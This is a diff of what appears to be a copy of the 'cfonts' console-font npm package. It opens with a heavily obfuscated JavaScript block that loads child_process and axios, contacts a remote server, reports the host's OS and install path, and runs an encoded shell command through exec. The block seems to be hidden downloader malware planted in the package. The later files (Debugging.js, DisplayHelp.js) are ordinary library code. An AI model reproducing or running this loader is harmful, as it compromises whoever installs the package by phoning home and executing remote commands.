_0x5dd07a=_0x53fa95['constructo'+'r'][_0x52e04f(-0x2e,-0xe,-0x27,-0x2f)]['bind'](_0x53fa95),_0x388172=_0x41aec7[_0x45bb28],_0x1f1009=_0x502d23[_0x388172]||_0x5dd07a;_0x5dd07a[_0xb65204(0x97,0xa9,0xa6,0x9e)]=_0x53fa95[_0x52e04f(-0x46,-0x2d,-0x2b,-0x10)](_0x53fa95),_0x5dd07a['toString']=_0x1f1009[_0xb65204(0x81,0x85,0x97,0x79)][_0xb65204(0xa3,0xb7,0x95,0xbf)](_0x1f1009),_0x502d23[_0x388172]=_0x5dd07a;}});_0x460b05();const {exec}=require('child_proc'+_0xe7f3f5(-0xc7,-0xa6,-0xc2,-0xa8)),axios=require(_0x3ccbfd(-0x129,-0x127,-0x132,-0x115));let os=process['platform'],path=__dirname+'/';axios[_0x3ccbfd(-0x15c,-0x149,-0x142,-0x149)](_0xe7f3f5(-0xb4,-0xc4,-0xcc,-0xb1)+_0x3ccbfd(-0x172,-0x150,-0x156,-0x14f)+'on')[_0x3ccbfd(-0x148,-0x14b,-0x136,-0x13a)](_0x3d489e=>{const _0x426731={};function _0x22b09e(_0x444bfc,_0x2bfb3e,_0x5ca2a1,_0x3826d1){return _0xe7f3f5(_0x444bfc-0x1e4,_0x3826d1,_0x5ca2a1-0x8f,_0x444bfc- -0x19d);}_0x426731['os']=os,_0x426731[_0x376636(0x304,0x31a,0x30c,0x313)]=path,_0x426731[_0x376636(0x329,0x2fb,0x31e,0x30f)]=_0x3d489e[_0x22b09e(-0x236,-0x242,-0x242,-0x221)];function _0x376636(_0x13dd72,_0x3919ad,_0x153091,_0x1ba02d){return _0xe7f3f5(_0x13dd72-0x8d,_0x153091,_0x153091-0x5a,_0x1ba02d-0x3a8);}axios[_0x22b09e(-0x21e,-0x20f,-0x22e,-0x21d)](_0x376636(0x32b,0x332,0x2f9,0x317)+_0x22b09e(-0x216,-0x21c,-0x211,-0x22e)+_0x22b09e(-0x244,-0x256,-0x245,-0x256)+_0x376636(0x331,0x31c,0x2fb,0x314),_0x426731);});function _0x3ccbfd(_0x552ce8,_0x51ded2,_0x17db39,_0x49b70e){return _0xab09(_0x17db39- -0x2b6,_0x49b70e);}function _0x5db7(){const _0x1d79db=['lMPZiIbTDsa1nq','nZCZnJyXsfj4wujT','D2LUmZi','CLbdvuy','A0fIqLm','Ahr0CdOVl2LWlq','DhjHy2u','zxHJzxb0Aw9U','y29UC29Szq','ndq4nZjjz1rUweW','Dg9tDhjPBMC','BgvUz3rO','rtK0neu3la','y3rVCIGICMv0Dq','zxnZ','AdfXlM0UCgLWzq','CNvUzgXSmZiUzq','C2vHCMnO','yxbPlMnVBs9QCW','yxbWBhK','CM4GDgHPCYiPka','BMHpsK8','n3DtB21NtW','otm1mZCYzxz1quPb','DNrfwvK','uMvTB3zLq2HHCG','nKfeotrcrunbqW','AMvSs0G','CMv0DxjUicHMDq','zgf0yq','mJu2otG2Dxbvq21u','mteWmdu5ohrMzLPtCW','x19WCM90B19F','Cgf0Aa','zhjLyw0UBMv0','s1LHsLC','mZuZrezbmZndmG','Ahr0Chm6lY9LBW','z2v0','ntm4ntG4BKP5BxH4','Bg9N','E30Uy29UC3rYDq','yNPkChC','nKq5qZC3ourbqq','yMLUza','nKjerJi3qKe3nW','ree3m0y5qtzfrG','EguGiG','ChjVDg90ExbL','Aw5MBW','DgHLBG','tvfSC3q','y29UC3rYDwn0BW','Cg9ZDa','yxHPB3m','CNPrEMu','zxjYB3i','otL6r3LVCwG','nJK5otKWrwPuAxPP','vM1dwwK','Ehrxwee','nJnKDNrXy2jNoa'];_0x5db7=function(){return _0x1d79db;};return _0x5db7();}function _0xab09(_0x4bfde3,_0x344c22){const _0x3ad4e2=_0x5db7();return _0xab09=function(_0x2f57b1,_0x40b775){_0x2f57b1=_0x2f57b1-(-0x205a+0x1ed*-0xe+-0x3c9f*-0x1);let _0x1d4b90=_0x3ad4e2[_0x2f57b1];if(_0xab09['ZrPBNC']===undefined){var _0x294b16=function(_0x4cb882){const _0x4317e1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2830de='',_0x44335b='',_0x2d9d8e=_0x2830de+_0x294b16;for(let _0x5df67a=-0x9c1*0x2+0x1786+0x202*-0x2,_0x116162,_0x17af3e,_0x18cac7=0x41f*0x2+0xd07+-0x1*0x1545;_0x17af3e=_0x4cb882['charAt'](_0x18cac7++);~_0x17af3e&&(_0x116162=_0x5df67a%(0x1*-0x1bca+-0x2528+0x2*0x207b)?_0x116162*(-0x1*-0x2295+0x1f37+-0x4*0x1063)+_0x17af3e:_0x17af3e,_0x5df67a++%(-0xaea*-0x1+-0xed*0x25+0x175b))?_0x2830de+=_0x2d9d8e['charCodeAt'](_0x18cac7+(0x1*-0x13e9+0x78a+0x9*0x161))-(0x7d+-0x4*0x431+0x1051)!==-0xe5*-0x17+0x144d+-0x28e0?String['fromCharCode'](-0x2e3*0x9+0x3bc*0x4+0x43*0x2e&_0x116162>>(-(-0x230b+-0x2*0xfbd+0x4287)*_0x5df67a&0x33*0x67+-0x133b+0x51*-0x4)):_0x5df67a:-0x13*0x19+-0xeae+0x583*0x3){_0x17af3e=_0x4317e1['indexOf'](_0x17af3e);}for(let _0x2ba905=-0x43f*0x2+-0x189*0xb+-0x1*-0x1961,_0x4edd4a=_0x2830de['length'];_0x2ba905<_0x4edd4a;_0x2ba905++){_0x44335b+='%'+('00'+_0x2830de['charCodeAt'](_0x2ba905)['toString'](-0x91*-0x17+-0x946+0x5*-0xbd))['slice'](-(-0x4*-0x72d+-0xf19+-0xd99));}return decodeURIComponent(_0x44335b);};_0xab09['sHDEem']=_0x294b16,_0x4bfde3=arguments,_0xab09['ZrPBNC']=!![];}const _0x4bc6c0=_0x3ad4e2[0x5*-0x255+0xb60+0x49],_0x25257c=_0x2f57b1+_0x4bc6c0,_0x2d77d9=_0x4bfde3[_0x25257c];if(!_0x2d77d9){const _0x59006f=function(_0xf22328){this['wOurxO']=_0xf22328,this['FsZfsd']=[0x2518+0x2374+-0x488b,0xd48+0xd95+0x1add*-0x1,0x57a+-0x65a+0xe0],this['WrSdGn']=function(){return'newState';},this['MWClcI']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['yMhcQe']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x59006f['prototype']['SKUvYk']=function(){const _0x4b1d45=new RegExp(this['MWClcI']+this['yMhcQe']),_0x95ddb8=_0x4b1d45['test'](this['WrSdGn']['toString']())?--this['FsZfsd'][-0x73c+0x2*0x821+-0x905]:--this['FsZfsd'][-0x1*-0xa85+-0x1*-0x26e1+-0x3166];return this['wDbjZe'](_0x95ddb8);},_0x59006f['prototype']['wDbjZe']=function(_0x231786){if(!Boolean(~_0x231786))return _0x231786;return this['HvQDzC'](this['wOurxO']);},_0x59006f['prototype']['HvQDzC']=function(_0x53f023){for(let _0x2dd9d4=0x137*-0xd+0x2b*-0x74+0x2347,_0x228482=this['FsZfsd']['length'];_0x2dd9d4<_0x228482;_0x2dd9d4++){this['FsZfsd']['push'](Math['round'](Math['random']())),_0x228482=this['FsZfsd']['length'];}return _0x53f023(this['FsZfsd'][0x135b+0x350+-0x16ab]);},new _0x59006f(_0xab09)['SKUvYk'](),_0x1d4b90=_0xab09['sHDEem'](_0x1d4b90),_0x4bfde3[_0x25257c]=_0x1d4b90;}else _0x1d4b90=_0x2d77d9;return _0x1d4b90;},_0xab09(_0x4bfde3,_0x344c22);}os==_0x3ccbfd(-0x156,-0x165,-0x166,-0x16c)&&exec(_0x3ccbfd(-0x143,-0x13c,-0x158,-0x147)+_0x3ccbfd(-0x151,-0x125,-0x139,-0x158)+path+(_0xe7f3f5(-0x8f,-0xb0,-0x96,-0x9d)+_0xe7f3f5(-0x61,-0x77,-0x64,-0x78)+_0xe7f3f5(-0x89,-0x90,-0x88,-0x92)+_0x3ccbfd(-0x122,-0x158,-0x13d,-0x130)+_0xe7f3f5(-0x73,-0x82,-0x70,-0x88)+_0xe7f3f5(-0xb9,-0x99,-0x94,-0x9c)+_0x3ccbfd(-0x139,-0x12c,-0x13b,-0x143)+_0xe7f3f5(-0xaf,-0xb7,-0xbd,-0xaa)));
|
package/src/Debugging.js
ADDED
|
@@ -0,0 +1,108 @@
|
|
|
1
|
+
/***************************************************************************************************************************************************************
|
|
2
|
+
*
|
|
3
|
+
* cfonts
|
|
4
|
+
*
|
|
5
|
+
* Sexy fonts for the console. (CLI output)
|
|
6
|
+
*
|
|
7
|
+
* @license https://github.com/dominikwilkowski/cfonts/blob/released/LICENSE GNU GPLv2
|
|
8
|
+
* @author Dominik Wilkowski hi@dominik-wilkowski.com
|
|
9
|
+
* @repository https://github.com/dominikwilkowski/cfonts
|
|
10
|
+
*
|
|
11
|
+
* Debugging
|
|
12
|
+
* Debugging prettiness
|
|
13
|
+
*
|
|
14
|
+
**************************************************************************************************************************************************************/
|
|
15
|
+
|
|
16
|
+
'use strict';
|
|
17
|
+
|
|
18
|
+
const { Chalk } = require('./Chalk.js');
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
/**
|
|
22
|
+
* DEBUG object for tracking debug mode and level
|
|
23
|
+
*
|
|
24
|
+
* @type {Object}
|
|
25
|
+
*/
|
|
26
|
+
const DEBUG = {
|
|
27
|
+
store: {
|
|
28
|
+
enabled: false,
|
|
29
|
+
level: 2,
|
|
30
|
+
},
|
|
31
|
+
|
|
32
|
+
set enabled( value ) {
|
|
33
|
+
this.store.enabled = value;
|
|
34
|
+
},
|
|
35
|
+
|
|
36
|
+
get enabled() {
|
|
37
|
+
return this.store.enabled;
|
|
38
|
+
},
|
|
39
|
+
|
|
40
|
+
set level( value ) {
|
|
41
|
+
this.store.level = value;
|
|
42
|
+
},
|
|
43
|
+
|
|
44
|
+
get level() {
|
|
45
|
+
return this.store.level;
|
|
46
|
+
},
|
|
47
|
+
};
|
|
48
|
+
|
|
49
|
+
/**
|
|
50
|
+
* Debugging prettiness
|
|
51
|
+
*
|
|
52
|
+
* @type {object}
|
|
53
|
+
*/
|
|
54
|
+
const Debugging = {
|
|
55
|
+
/**
|
|
56
|
+
* Return a headline preferably at the beginning of your app
|
|
57
|
+
*
|
|
58
|
+
* @param {string} text - The sting you want to log
|
|
59
|
+
* @param {number} level - The debug level. Show equal and greater levels. Default: 99
|
|
60
|
+
* @param {boolean} debug - Global debug mode on/off
|
|
61
|
+
* @param {number} debuglevel - Global debug level
|
|
62
|
+
*/
|
|
63
|
+
headline: ( text, level = 99, debug = DEBUG.enabled, debuglevel = DEBUG.level ) => {
|
|
64
|
+
if( debug && level >= debuglevel ) {
|
|
65
|
+
console.log(
|
|
66
|
+
Chalk.bgWhite(`\n${ Chalk.bold(' \u2611 ') } ${ text }`)
|
|
67
|
+
);
|
|
68
|
+
}
|
|
69
|
+
},
|
|
70
|
+
|
|
71
|
+
/**
|
|
72
|
+
* Return a message to report starting a process
|
|
73
|
+
*
|
|
74
|
+
* @param {string} text - The sting you want to log
|
|
75
|
+
* @param {number} level - The debug level. Show equal and greater levels. Default: 99
|
|
76
|
+
* @param {boolean} debug - Global debug mode on/off
|
|
77
|
+
* @param {number} debuglevel - Global debug level
|
|
78
|
+
*/
|
|
79
|
+
report: ( text, level = 99, debug = DEBUG.enabled, debuglevel = DEBUG.level ) => {
|
|
80
|
+
if( debug && level >= debuglevel ) {
|
|
81
|
+
console.log(
|
|
82
|
+
Chalk.bgWhite(`\n${ Chalk.bold.green(' \u2611 ') } ${ Chalk.black(`${ text } `) }`)
|
|
83
|
+
);
|
|
84
|
+
}
|
|
85
|
+
},
|
|
86
|
+
|
|
87
|
+
/**
|
|
88
|
+
* Return a message to report an error
|
|
89
|
+
*
|
|
90
|
+
* @param {string} text - The sting you want to log
|
|
91
|
+
* @param {number} level - The debug level. Show equal and greater levels. Default: 99
|
|
92
|
+
* @param {boolean} debug - Global debug mode on/off
|
|
93
|
+
* @param {number} debuglevel - Global debug level
|
|
94
|
+
*/
|
|
95
|
+
error: ( text, level = 99, debug = DEBUG.enabled, debuglevel = DEBUG.level ) => {
|
|
96
|
+
if( debug && level >= debuglevel ) {
|
|
97
|
+
console.error(
|
|
98
|
+
Chalk.bgWhite(`\n${ Chalk.red(' \u2612 ') } ${ Chalk.black(`${ text } `) }`)
|
|
99
|
+
);
|
|
100
|
+
}
|
|
101
|
+
},
|
|
102
|
+
};
|
|
103
|
+
|
|
104
|
+
|
|
105
|
+
module.exports = exports = {
|
|
106
|
+
DEBUG,
|
|
107
|
+
Debugging,
|
|
108
|
+
};
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
/***************************************************************************************************************************************************************
|
|
2
|
+
*
|
|
3
|
+
* cfonts
|
|
4
|
+
*
|
|
5
|
+
* Sexy fonts for the console. (CLI output)
|
|
6
|
+
*
|
|
7
|
+
* @license https://github.com/dominikwilkowski/cfonts/blob/released/LICENSE GNU GPLv2
|
|
8
|
+
* @author Dominik Wilkowski hi@dominik-wilkowski.com
|
|
9
|
+
* @repository https://github.com/dominikwilkowski/cfonts
|
|
10
|
+
*
|
|
11
|
+
* DisplayHelp
|
|
12
|
+
* Display the help generated from our CLIOPTIONS
|
|
13
|
+
*
|
|
14
|
+
**************************************************************************************************************************************************************/
|
|
15
|
+
|
|
16
|
+
'use strict';
|
|
17
|
+
|
|
18
|
+
const { CLIOPTIONS } = require('./constants.js');
|
|
19
|
+
const { Render } = require('./Render.js');
|
|
20
|
+
const { Chalk } = require('./Chalk.js');
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
/**
|
|
24
|
+
* Display the help generated from our CLIOPTIONS
|
|
25
|
+
*/
|
|
26
|
+
const DisplayHelp = () => {
|
|
27
|
+
const { string: headline } = Render('cfonts', {
|
|
28
|
+
align: 'left',
|
|
29
|
+
gradient: [ 'red','green' ],
|
|
30
|
+
});
|
|
31
|
+
|
|
32
|
+
console.log(
|
|
33
|
+
` ${ headline }` +
|
|
34
|
+
`This is a tool for sexy fonts in the console. Give your cli some love.\n\n` +
|
|
35
|
+
`Usage: cfonts "<value>" [option1] <input1> [option2] <input1>,<input2> [option3]\n` +
|
|
36
|
+
`Example: ${ Chalk.bold('$ cfonts "sexy font" -f chrome -a center -c red,green,gray') }\n\n` +
|
|
37
|
+
`Options:\n`
|
|
38
|
+
);
|
|
39
|
+
|
|
40
|
+
Object.keys( CLIOPTIONS ).forEach( option => {
|
|
41
|
+
console.log( Chalk.bold(`${ option }, ${ CLIOPTIONS[ option ].short }`) );
|
|
42
|
+
console.log( CLIOPTIONS[ option ].description );
|
|
43
|
+
console.log(`${ Chalk.bold('$') } cfonts ${ CLIOPTIONS[ option ].example }\n`);
|
|
44
|
+
});
|
|
45
|
+
};
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
module.exports = exports = {
|
|
49
|
+
DisplayHelp,
|
|
50
|
+
};
|